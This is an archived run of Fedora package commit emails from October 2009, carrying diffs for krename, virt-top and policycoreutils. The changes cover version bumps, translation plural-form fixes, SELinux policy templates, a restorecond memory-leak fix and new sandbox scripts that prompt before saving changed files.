@@ -72,6 +72,9 @@ touch --no-create %{_datadir}/icons/hico
 
 
 %changelog
+* Mon Oct 5 2009 Ben Boeckel <MathStuf at gmail.com> - 4.0.1-1
+- Update to 4.0.1
+
 * Tue Sep 29 2009 Ben Boeckel <MathStuf at gmail.com> - 4.0.0-1
 - Update to KDE4 version
 
@@ -99,4 +102,3 @@ touch --no-create %{_datadir}/icons/hico
 
 * Tue Dec 19 2006 Micha? Bentkowski <mr.ecik at gmail.com> - 3.0.13-1
 - Initial package
-


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/krename/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	29 Sep 2009 21:49:00 -0000	1.4
+++ sources	6 Oct 2009 15:57:09 -0000	1.5
@@ -1 +1 @@
-f90424d6224f4855740c9e37514f0ccc  krename-4.0.0.tar.bz2
+250450a474a38d04591c5b08f058adb3  krename-4.0.1.tar.bz2



From rjones at fedoraproject.org  Tue Oct  6 16:07:46 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue,  6 Oct 2009 16:07:46 +0000 (UTC)
Subject: rpms/virt-top/F-12 virt-top-1.0.4-bogus-ja-plurals.patch, NONE,
	1.1 .cvsignore, 1.3, 1.4 sources, 1.4,
	1.5 virt-top-1.0.3-bogus-zh_CN-plurals.patch, 1.1,
	1.2 virt-top.spec, 1.7, 1.8
Message-ID: <20091006160746.B6A5811C00C1@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/virt-top/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25034

Modified Files:
	.cvsignore sources virt-top-1.0.3-bogus-zh_CN-plurals.patch 
	virt-top.spec 
Added Files:
	virt-top-1.0.4-bogus-ja-plurals.patch 
Log Message:
NOTE: (1) Not built yet, (2) Requires updated ocaml-curses.
* Tue Oct  6 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-1.fc12.1
- New upstream release 1.0.4.
- Includes new translations (RHBZ#493799).
- Overall hardware memory is now displayed in CSV file (RHBZ#521785).
- Several fixes to Japanese support (RHBZ#508197).
- Japanese PO file also has bogus plural forms.
- Additional BR on gettext (for msgfmt).


virt-top-1.0.4-bogus-ja-plurals.patch:
 ja.po |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE virt-top-1.0.4-bogus-ja-plurals.patch ---
diff -ur virt-top-1.0.4.orig/po/ja.po virt-top-1.0.4/po/ja.po
--- virt-top-1.0.4.orig/po/ja.po	2009-10-05 16:24:06.295900599 +0100
+++ virt-top-1.0.4/po/ja.po	2009-10-05 16:24:49.296650985 +0100
@@ -10,7 +10,7 @@
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: Plural-Forms: nplurals=1; plural=0;\n\n"
+"Plural-Forms: nplurals=1; plural=0;\n\n"
 "X-Generator: KBabel 1.11.4\n"
 
 #: ../virt-top/virt_top.ml:1492


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Oct 2008 09:29:56 -0000	1.3
+++ .cvsignore	6 Oct 2009 16:07:46 -0000	1.4
@@ -1,2 +1 @@
-virt-top-1.0.1.tar.gz
-virt-top-1.0.3.tar.gz
+virt-top-1.0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	21 Oct 2008 09:59:18 -0000	1.4
+++ sources	6 Oct 2009 16:07:46 -0000	1.5
@@ -1 +1 @@
-18662bfbaa13c314ed07734cb1f5913e  virt-top-1.0.3.tar.gz
+491929219b5b49b4e502a1643599be95  virt-top-1.0.4.tar.gz

virt-top-1.0.3-bogus-zh_CN-plurals.patch:
 zh_CN.po |    1 -
 1 file changed, 1 deletion(-)

Index: virt-top-1.0.3-bogus-zh_CN-plurals.patch
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/F-12/virt-top-1.0.3-bogus-zh_CN-plurals.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- virt-top-1.0.3-bogus-zh_CN-plurals.patch	21 Oct 2008 09:59:18 -0000	1.1
+++ virt-top-1.0.3-bogus-zh_CN-plurals.patch	6 Oct 2009 16:07:46 -0000	1.2
@@ -7,4 +7,4 @@
 -"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
  "X-Generator: KBabel 1.11.4\n"
  
- #: ../virt-top/virt_top.ml:1490
+ #: ../virt-top/virt_top.ml:1492


Index: virt-top.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/F-12/virt-top.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- virt-top.spec	27 Jul 2009 06:55:36 -0000	1.7
+++ virt-top.spec	6 Oct 2009 16:07:46 -0000	1.8
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           virt-top
-Version:        1.0.3
-Release:        5%{?dist}
+Version:        1.0.4
+Release:        1%{?dist}.1
 Summary:        Utility like top(1) for displaying virtualization stats
 
 Group:          Development/Libraries
@@ -14,11 +14,13 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 ExcludeArch:    sparc64 s390 s390x
 
 Patch0:         virt-top-1.0.3-bogus-zh_CN-plurals.patch
+Patch1:         virt-top-1.0.4-bogus-ja-plurals.patch
 
 BuildRequires:  ocaml >= 3.10.2
 BuildRequires:  ocaml-ocamldoc
 BuildRequires:  ocaml-findlib-devel
-BuildRequires:  ocaml-curses-devel
+# Need the ncurses / ncursesw (--enable-widec) fix.
+BuildRequires:  ocaml-curses-devel >= 1.0.3-6.fc12.1
 BuildRequires:  ocaml-extlib-devel
 BuildRequires:  ocaml-xml-light-devel
 BuildRequires:  ocaml-csv-devel
@@ -31,15 +33,14 @@ BuildRequires:  ocaml-fileutils-devel
 %ifnarch ppc64
 BuildRequires:  ocaml-camomile-data
 %endif
+# For msgfmt:
+BuildRequires:  gettext
 
 # Non-OCaml BRs.
 BuildRequires:  libvirt-devel
 BuildRequires:  perl
 BuildRequires:  gawk
 
-#%define _use_internal_dependency_generator 0
-#%define __find_requires /usr/lib/rpm/ocaml-find-requires.sh
-#%define __find_provides /usr/lib/rpm/ocaml-find-provides.sh
 
 %description
 virt-top is a 'top(1)'-like utility for showing stats of virtualized
@@ -53,6 +54,7 @@ different virtualization systems.
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 chmod -x COPYING
 
 
@@ -99,6 +101,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-1.fc12.1
+- New upstream release 1.0.4.
+- Includes new translations (RHBZ#493799).
+- Overall hardware memory is now displayed in CSV file (RHBZ#521785).
+- Several fixes to Japanese support (RHBZ#508197).
+- Japanese PO file also has bogus plural forms.
+- Additional BR on gettext (for msgfmt).
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From dwalsh at fedoraproject.org  Tue Oct  6 16:09:54 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue,  6 Oct 2009 16:09:54 +0000 (UTC)
Subject: rpms/policycoreutils/devel policycoreutils-gui.patch, 1.93,
	1.94 policycoreutils-rhat.patch, 1.448,
	1.449 policycoreutils.spec, 1.649, 1.650
Message-ID: <20091006160954.4114111C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26342

Modified Files:
	policycoreutils-gui.patch policycoreutils-rhat.patch 
	policycoreutils.spec 
Log Message:
* Thu Oct 6 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
- Add check to sandbox to verify save changes - Chris Pardy
- Fix memory leak in restorecond - Steve Grubb


policycoreutils-gui.patch:
 Makefile                    |   41 
 booleansPage.py             |  247 +++
 domainsPage.py              |  154 +
 fcontextPage.py             |  223 ++
 html_util.py                |  164 ++
 lockdown.glade              |  771 +++++++++
 lockdown.gladep             |    7 
 lockdown.py                 |  382 ++++
 loginsPage.py               |  185 ++
 mappingsPage.py             |   56 
 modulesPage.py              |  190 ++
 polgen.glade                | 3305 ++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep               |    7 
 polgen.py                   | 1188 +++++++++++++++
 polgengui.py                |  627 ++++++++
 portsPage.py                |  259 +++
 selinux.tbl                 |  234 +++
 semanagePage.py             |  168 ++
 statusPage.py               |  190 ++
 system-config-selinux.glade | 3403 ++++++++++++++++++++++++++++++++++++++++++++
 system-config-selinux.py    |  189 ++
 templates/__init__.py       |   18 
 templates/boolean.py        |   40 
 templates/etc_rw.py         |  129 +
 templates/executable.py     |  359 ++++
 templates/network.py        |   80 +
 templates/rw.py             |  127 +
 templates/script.py         |   99 +
 templates/semodule.py       |   41 
 templates/tmp.py            |   97 +
 templates/user.py           |  182 ++
 templates/var_lib.py        |  158 ++
 templates/var_log.py        |  110 +
 templates/var_run.py        |  118 +
 templates/var_spool.py      |  129 +
 translationsPage.py         |  118 +
 usersPage.py                |  150 +
 37 files changed, 13945 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-gui.patch,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- policycoreutils-gui.patch	1 Oct 2009 16:04:13 -0000	1.93
+++ policycoreutils-gui.patch	6 Oct 2009 16:09:52 -0000	1.94
@@ -12251,8 +12251,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.74/gui/templates/executable.py
 --- nsapolicycoreutils/gui/templates/executable.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-01 12:03:05.000000000 -0400
-@@ -0,0 +1,368 @@
++++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-02 08:46:53.000000000 -0400
+@@ -0,0 +1,359 @@
 +# Copyright (C) 2007-2009 Red Hat 
 +# see file 'COPYING' for use and warranty information
 +#
@@ -12374,20 +12374,11 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_userapp_rules="""
-+########################################
-+#
-+# TEMPLATETYPE local policy
-+#
-+
-+## internal communication is often done using fifo and unix sockets.
-+allow TEMPLATETYPE_t self:fifo_file rw_file_perms;
++allow TEMPLATETYPE_t self:fifo_file manage_file_file_perms;
 +allow TEMPLATETYPE_t self:unix_stream_socket create_stream_socket_perms;
 +
 +files_read_etc_files(TEMPLATETYPE_t)
 +
-+libs_use_ld_so(TEMPLATETYPE_t)
-+libs_use_shared_libs(TEMPLATETYPE_t)
-+
 +miscfiles_read_localization(TEMPLATETYPE_t)
 +"""
 +
@@ -12515,9 +12506,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +              type TEMPLATETYPE_t;
 +	')
 +
-+	role $2 types TEMPLATETYPE_t;
++	role $1 types TEMPLATETYPE_t;
 +
-+	TEMPLATETYPE_domtrans($1)
++	TEMPLATETYPE_domtrans($2)
 +
 +	ps_process_pattern($2, TEMPLATETYPE_t)
 +	allow $2 TEMPLATETYPE_t:process signal;

policycoreutils-rhat.patch:
 Makefile                                    |    2 
 audit2allow/audit2allow                     |   14 
 load_policy/Makefile                        |    5 
 restorecond/Makefile                        |   24 -
 restorecond/org.selinux.Restorecond.service |    3 
 restorecond/restorecond.c                   |  422 +++---------------
 restorecond/restorecond.conf                |    5 
 restorecond/restorecond.desktop             |    7 
 restorecond/restorecond.h                   |   18 
 restorecond/restorecond.init                |    5 
 restorecond/restorecond_user.conf           |    2 
 restorecond/user.c                          |  237 ++++++++++
 restorecond/watch.c                         |  253 +++++++++++
 sandbox/Makefile                            |   31 +
 sandbox/deliverables/README                 |   32 +
 sandbox/deliverables/basicwrapper           |    4 
 sandbox/deliverables/run-in-sandbox.py      |   49 ++
 sandbox/deliverables/sandbox                |  216 +++++++++
 sandbox/sandbox                             |  242 ++++++++++
 sandbox/sandbox.8                           |   26 +
 sandbox/sandboxX.sh                         |   16 
 sandbox/seunshare.c                         |  265 +++++++++++
 scripts/Makefile                            |    2 
 scripts/chcat                               |    2 
 semanage/semanage                           |   99 ++--
 semanage/seobject.py                        |  209 +++++----
 semodule/semodule.8                         |    6 
 semodule/semodule.c                         |   53 ++
 setfiles/Makefile                           |    2 
 setfiles/restore.c                          |  519 ++++++++++++++++++++++
 setfiles/restore.h                          |   49 ++
 setfiles/setfiles.c                         |  643 +++-------------------------
 32 files changed, 2398 insertions(+), 1064 deletions(-)

Index: policycoreutils-rhat.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-rhat.patch,v
retrieving revision 1.448
retrieving revision 1.449
diff -u -p -r1.448 -r1.449
--- policycoreutils-rhat.patch	1 Oct 2009 16:04:13 -0000	1.448
+++ policycoreutils-rhat.patch	6 Oct 2009 16:09:52 -0000	1.449
@@ -939,8 +939,8 @@ diff --exclude-from=exclude --exclude=se
 +
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/watch.c policycoreutils-2.0.74/restorecond/watch.c
 --- nsapolicycoreutils/restorecond/watch.c	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/restorecond/watch.c	2009-09-20 21:26:36.000000000 -0400
-@@ -0,0 +1,254 @@
++++ policycoreutils-2.0.74/restorecond/watch.c	2009-10-06 12:06:56.000000000 -0400
+@@ -0,0 +1,253 @@
 +#define _GNU_SOURCE
 +#include <sys/inotify.h>
 +#include <errno.h>
@@ -985,8 +985,7 @@ diff --exclude-from=exclude --exclude=se
 +	struct watchList *prev = NULL;
 +	glob_t globbuf;
 +	char *x = strdup(path);
-+	if (!x)
-+		exitApp("Out of Memory");
++	if (!x) exitApp("Out of Memory");
 +	char *file = basename(x);
 +	char *dir = dirname(x);
 +	ptr = firstDir;
@@ -1017,12 +1016,12 @@ diff --exclude-from=exclude --exclude=se
 +	}
 +	ptr = calloc(1, sizeof(struct watchList));
 +
-+	if (!ptr)
-+		exitApp("Out of Memory");
++	if (!ptr) exitApp("Out of Memory");
 +
 +	ptr->wd = inotify_add_watch(fd, dir, IN_CREATE | IN_MOVED_TO);
 +	if (ptr->wd == -1) {
 +		free(ptr);
++		free(x);
 +		syslog(LOG_ERR, "Unable to watch (%s) %s\n",
 +		       path, strerror(errno));
 +		return;
@@ -1195,6 +1194,323 @@ diff --exclude-from=exclude --exclude=se
 +		exitApp("Error watching config file.");
 +}
 +
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/basicwrapper policycoreutils-2.0.74/sandbox/deliverables/basicwrapper
+--- nsapolicycoreutils/sandbox/deliverables/basicwrapper	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/deliverables/basicwrapper	2009-08-14 10:53:53.000000000 -0400
+@@ -0,0 +1,4 @@
++import os, sys
++SANDBOX_ARGS = ['-f%s' % os.environ['_CONDOR_SCRATCH_DIR']]
++SANDBOX_ARGS.extend(sys.argv[1::])
++os.execv('/usr/bin/sandbox',SANDBOX_ARGS)
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/README policycoreutils-2.0.74/sandbox/deliverables/README
+--- nsapolicycoreutils/sandbox/deliverables/README	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/deliverables/README	2009-08-14 10:56:22.000000000 -0400
+@@ -0,0 +1,32 @@
++Files:
++run-in-sandbox.py:
++   adds the run in sandbox extension to nautilus
++   copy to .nautilus/python-extensions
++   yum install nautilus-python
++
++sandbox:
++   adds support for file checking, This was working I don't know why it didn't at that presentation
++   adds support for file relabeling, This is/was also working.
++
++basicwrapper:
++   This is pretty much the most basic condor wrapper you can create, it requires the -f option in sandbox. Also I can't make this work, maybe the grid team will have more luck.
++
++Other:
++Xguest Live cd:
++   There's a tutorial on live cds here: http://www.ibm.com/developerworks/library/l-fedora-livecd/index.html?ca=dgr-lnxw16FedoraLiveCD
++   It looks like David Zeuthen is head guy in the live cd department, he might be worth talking to.
++
++System-config-selinux:
++   wiki: fedorahosted.org/system-config-selinux
++   realeases: fedorahosted.org/releases/s/y/system-config-selinux/ includes a spec,srpm, and tarball of current version
++   The project is technically owned by Roman Rakus (rrakus at redhat.com) I've sent him an email asking him to make you a git contributor.
++   I'll continue making updates to this and make sure it gets into the repos.
++
++Assuming I don't get to keep my RedHat email you can contact me:
++email: chris.pardy at gmail.com
++phone: 1-207-838-7119
++
++I'll probably continue to be on the #fedora-selinux and #selinux irc channels
++
++Thanks for a great summer.
++Chris Pardy
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/run-in-sandbox.py policycoreutils-2.0.74/sandbox/deliverables/run-in-sandbox.py
+--- nsapolicycoreutils/sandbox/deliverables/run-in-sandbox.py	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/deliverables/run-in-sandbox.py	2009-08-14 10:25:38.000000000 -0400
+@@ -0,0 +1,49 @@
++import os
++import os.path
++import urllib
++
++import nautilus
++import gtk
++import gconf
++
++class RunInSandboxExtension(nautilus.MenuProvider):
++    def __init__(self):
++        self.client = gconf.client_get_default()
++
++    def sandbox_init(self,file,path):
++        if os.path.basename(path).endswith('.desktop'):
++            import re
++            f = open(path,'r')
++            for i in f.readlines():
++                m = re.match(r'Exec=(?P<name>\S+)',i)
++                if m:
++                    path = m.group('name')
++                    f.close()
++                    break
++        os.system('/usr/bin/sandbox -X %s &' % path)
++
++    def get_file_items(self, window, files):
++        if len(files) != 1:
++            return
++        
++        file = files[0]
++        
++        if file.is_directory():
++            return
++        
++        if file.get_uri_scheme() != 'file':
++            return
++
++        path = file.get_uri().replace('file://','',1)
++        if not os.access(path,os.X_OK):
++            return
++        
++        path = os.path.realpath(path)
++
++        item = nautilus.MenuItem('NautilusPython::openterminal_file_items','Run In Sandbox','Run %s in Sandbox' % file.get_name())
++        item.connect('activate',self.sandbox_init,path)
++        return item,
++
++    def get_background_items(self, window, file):
++        return
++
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/sandbox policycoreutils-2.0.74/sandbox/deliverables/sandbox
+--- nsapolicycoreutils/sandbox/deliverables/sandbox	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/sandbox/deliverables/sandbox	2009-08-14 10:22:47.000000000 -0400
+@@ -0,0 +1,216 @@
++#!/usr/bin/python -E
++import os, sys, getopt, socket, random, fcntl, shutil
++import selinux
++
++PROGNAME = "policycoreutils"
++
++import gettext
++gettext.bindtextdomain(PROGNAME, "/usr/share/locale")
++gettext.textdomain(PROGNAME)
++
++try:
++       gettext.install(PROGNAME,
++                       localedir = "/usr/share/locale",
++                       unicode=False,
++                       codeset = 'utf-8')
++except IOError:
++       import __builtin__
++       __builtin__.__dict__['_'] = unicode
++
++
++DEFAULT_TYPE = "sandbox_t"
++DEFAULT_X_TYPE = "sandbox_x_t"
++
++X_FILES = {}
++OLD_FCONTEXTS = {}
++
++random.seed(None)
++
++def error_exit(msg):
++    sys.stderr.write("%s: " % sys.argv[0])
++    sys.stderr.write("%s\n" % msg)
++    sys.stderr.flush()
++    sys.exit(1)
++
++def reserve(mcs):
++    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
++    sock.bind("\0%s" % mcs)
++    fcntl.fcntl(sock.fileno(), fcntl.F_SETFD, fcntl.FD_CLOEXEC)
++
++def gen_context(setype):
++    while True:
++        i1 = random.randrange(0, 1024)
++        i2 = random.randrange(0, 1024)
++        if i1 == i2:
++            continue
++        if i1 > i2:
++            tmp = i1
++            i1 = i2
++            i2 = tmp
++        mcs = "s0:c%d,c%d" % (i1, i2)
++        reserve(mcs)
++        try:
++            reserve(mcs)
++        except:
++            continue
++        break
++    con = selinux.getcon()[1].split(":")
++
++    execcon = "%s:%s:%s:%s" % (con[0], con[1], setype, mcs)
++    
++    filecon = "%s:%s:%s:%s" % (con[0], 
++                               "object_r", 
++                               "%s_file_t" % setype[:-2], 
++                               mcs)
++    return execcon, filecon
++
++def copyfile(file, dir, dest):
++       import re
++       if file.startswith(dir):
++              dname = os.path.dirname(file)
++              bname = os.path.basename(file)
++              if dname == dir:
++                     dest = dest + "/" + bname
++              else:
++                     newdir = re.sub(dir, dest, dname)
++                     os.makedirs(newdir)
++                     dest = newdir + "/" + bname
++
++              if os.path.isdir(file):
++                     shutil.copytree(file, dest)
++              else:
++                     shutil.copy2(file, dest)
++              X_FILES[dest] = os.path.getmtime(dest)
++
++def copyfiles(newhomedir, newtmpdir, files):
++       import pwd
++       homedir=pwd.getpwuid(os.getuid()).pw_dir
++       
++       for f in files:
++              copyfile(f,homedir, newhomedir)
++              copyfile(f,"/tmp", newtmpdir)
++
++def uncopyfile(newhomedir,file):
++      import pwd
++      homedir=pwd.getpwuid(os.getuid()).pw_dir
++      copyfile(file,newhomedir,homedir)
++
++if __name__ == '__main__':
++    if selinux.is_selinux_enabled() != 1:
++        error_exit("Requires an SELinux enabled system")
++        
++    init_files = []
++
++    def usage(message = ""):
++        text = _("""
++sandbox [-h] [-I includefile ] [[-i file ] ...] [[-f file] ...][ -t type ] command
++""")
++        error_exit("%s\n%s" % (message, text))
++
++    setype = DEFAULT_TYPE
++    X_ind = False
++    try:
++           gopts, cmds = getopt.getopt(sys.argv[1:], "i:ht:XI:f:", 
++                                       ["help",
++                                        "include=", 
++                                        "includefile=", 
++                                        "type="
++					"file="
++                                        ])
++           for o, a in gopts:
++                  if o == "-t" or o == "--type":
++                         setype = a
++                         
++                  if o == "-i" or o == "--include":
++                         rp = os.path.realpath(a)
++                         if rp not in init_files:
++                                init_files.append(rp)
++
++                  if o == "-f" or o == "--file":
++                         rp = os.path.realpath(a)
++                         OLD_FCONTEXTS[a] = selinux.getfilecon(rp)[1]
++                         
++                  if o == "-I" or o == "--includefile":
++                         fd = open(a, "r")
++                         for i in fd.read().split("\n"):
++                                if os.path.exists(i):
++                                       rp = os.path.realpath(i)
++                                       if rp not in init_files:
++                                              init_files.append(rp)
++                                       
++                         fd.close
++                         
++                  if o == "-X":
++                         if DEFAULT_TYPE == setype:
++                                setype = DEFAULT_X_TYPE
++                         X_ind = True
++
++                  if o == "-h" or o == "--help":
++                         usage(_("Usage"));
++            
++           if len(cmds) == 0:
++                  usage(_("Command required"))
++
++           execcon, filecon = gen_context(setype)
++           rc = -1
++
++           if cmds[0][0] != "/" and cmds[0][:2] != "./" and cmds[0][:3] != "../":
++                  for i in  os.environ["PATH"].split(':'):
++                         f = "%s/%s" % (i, cmds[0])
++                         if os.access(f, os.X_OK):
++                                cmds[0] = f
++                                break
++
++           try:
++                  if X_ind:
++                         import warnings
++                         warnings.simplefilter("ignore")
++                         newhomedir = os.tempnam(".", ".sandbox%s")
++                         os.mkdir(newhomedir)
++                         selinux.setfilecon(newhomedir, filecon) 
++                         newtmpdir = os.tempnam("/tmp", ".sandbox")
++                         os.mkdir(newtmpdir)
++                         selinux.setfilecon(newtmpdir, filecon)
++                         warnings.resetwarnings()
++                         copyfiles(newhomedir, newtmpdir, init_files + cmds)
++                         execfile = newhomedir + "/.sandboxrc"
++                         fd = open(execfile, "w+")
++                         fd.write("""#! /bin/sh
++%s
++""" % " ".join(cmds))
++                         fd.close()
++                         os.chmod(execfile, 0700)
++                         
++                         cmds =  ("/usr/sbin/seunshare -t %s -h %s -- %s /usr/share/sandbox/sandboxX.sh" % (newtmpdir, newhomedir, execcon)).split()
++                         rc = os.spawnvp(os.P_WAIT, cmds[0], cmds)
++                         for i in X_FILES.keys():
++                             if os.path.getmtime(i) > X_FILES[i]:
++                                 yn = raw_input("do you want to save your changes to the file %s (Y/N): " % os.path.basename(i)).lower()
++                                 if yn.startswith('y'):
++                                      uncopyfile(newhomedir,i)
++                  else:
++                         for i in OLD_FCONTEXTS.keys():
++                            selinux.setfilecon(i,filecon)
++                         selinux.setexeccon(execcon)
++                         rc = os.spawnvp(os.P_WAIT, cmds[0], cmds)
++                         selinux.setexeccon(None)
++                         for i in OLD_FCONTEXTS.keys():
++                            selinux.setfilecon(i,OLD_FCONTEXTS[i])
++           finally:
++                  if X_ind:
++                         shutil.rmtree(newhomedir)
++                         shutil.rmtree(newtmpdir)
++                  
++    except getopt.GetoptError, error:
++           usage(_("Options Error %s ") % error.msg)
++    except OSError, error:
++           error_exit(error.args[1])
++    except ValueError, error:
++           error_exit(error.args[0])
++    except KeyError, error:
++           error_exit(_("Invalid value %s") % error.args[0])
++    except IOError, error:
++           error_exit(error.args[1])
++        
++    sys.exit(rc)
++
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/Makefile policycoreutils-2.0.74/sandbox/Makefile
 --- nsapolicycoreutils/sandbox/Makefile	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/sandbox/Makefile	2009-09-20 21:26:36.000000000 -0400
@@ -1232,8 +1548,8 @@ diff --exclude-from=exclude --exclude=se
 +relabel:
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/sandbox policycoreutils-2.0.74/sandbox/sandbox
 --- nsapolicycoreutils/sandbox/sandbox	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/sandbox/sandbox	2009-09-23 11:24:57.000000000 -0400
-@@ -0,0 +1,222 @@
++++ policycoreutils-2.0.74/sandbox/sandbox	2009-10-06 11:48:36.000000000 -0400
+@@ -0,0 +1,242 @@
 +#!/usr/bin/python -E
 +import os, sys, getopt, socket, random, fcntl, shutil
 +import selinux
@@ -1257,11 +1573,11 @@ diff --exclude-from=exclude --exclude=se
 +
 +DEFAULT_TYPE = "sandbox_t"
 +DEFAULT_X_TYPE = "sandbox_x_t"
++X_FILES = {}
 +
 +random.seed(None)
 +
 +def sighandler(signum, frame):
-+    print "exiting on signal %s" % signum
 +    signal.signal(signum,  signal.SIG_IGN)
 +    os.kill(0, signum)
 +    raise KeyboardInterrupt
@@ -1325,6 +1641,7 @@ diff --exclude-from=exclude --exclude=se
 +                     shutil.copytree(file, dest)
 +              else:
 +                     shutil.copy2(file, dest)
++              X_FILES[file] = (dest, os.path.getmtime(dest))
 +
 +def copyfiles(newhomedir, newtmpdir, files):
 +       import pwd
@@ -1333,6 +1650,19 @@ diff --exclude-from=exclude --exclude=se
 +              copyfile(f,homedir, newhomedir)
 +              copyfile(f,"/tmp", newtmpdir)
 +
++def savefile(new, orig):
++       import gtk
++       dlg = gtk.MessageDialog(None, 0, gtk.MESSAGE_INFO,
++                               gtk.BUTTONS_YES_NO,
++                               _("Do you want to save changes to '%s' (Y/N): ") % orig)
++       dlg.set_title(_("Sandbox Message"))
++       dlg.set_position(gtk.WIN_POS_MOUSE)
++       dlg.show_all()
++       rc = dlg.run()
++       dlg.destroy()
++       if rc == gtk.RESPONSE_YES:
++              shutil.copy2(new,orig)
++
 +if __name__ == '__main__':
 +    setup_sighandlers()
 +    if selinux.is_selinux_enabled() != 1:
@@ -1430,6 +1760,12 @@ diff --exclude-from=exclude --exclude=se
 +                         
 +                         cmds =  ("/usr/sbin/seunshare -t %s -h %s -- %s /usr/share/sandbox/sandboxX.sh" % (newtmpdir, newhomedir, execcon)).split()
 +                         rc = os.spawnvp(os.P_WAIT, cmds[0], cmds)
++                         for i in paths:
++                                if i not in X_FILES:
++                                       continue
++                                (dest, mtime) = X_FILES[i]
++                                if os.path.getmtime(dest) > mtime:
++                                       savefile(dest, i)
 +                  else:
 +                         selinux.setexeccon(execcon)
 +                         rc = os.spawnvp(os.P_WAIT, cmds[0], cmds)


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils.spec,v
retrieving revision 1.649
retrieving revision 1.650
diff -u -p -r1.649 -r1.650
--- policycoreutils.spec	1 Oct 2009 16:04:13 -0000	1.649
+++ policycoreutils.spec	6 Oct 2009 16:09:53 -0000	1.650
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,11 +296,16 @@ fi
 exit 0
 
 %changelog
+* Thu Oct 6 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
+- Add check to sandbox to verify save changes - Chris Pardy
+- Fix memory leak in restorecond - Steve Grubb
+
 * Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-7
 - Fixes Templates
 
 * Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-6
 - Fixes for polgengui to handle tcp ports correctly
+- Fix semanage node -a
 
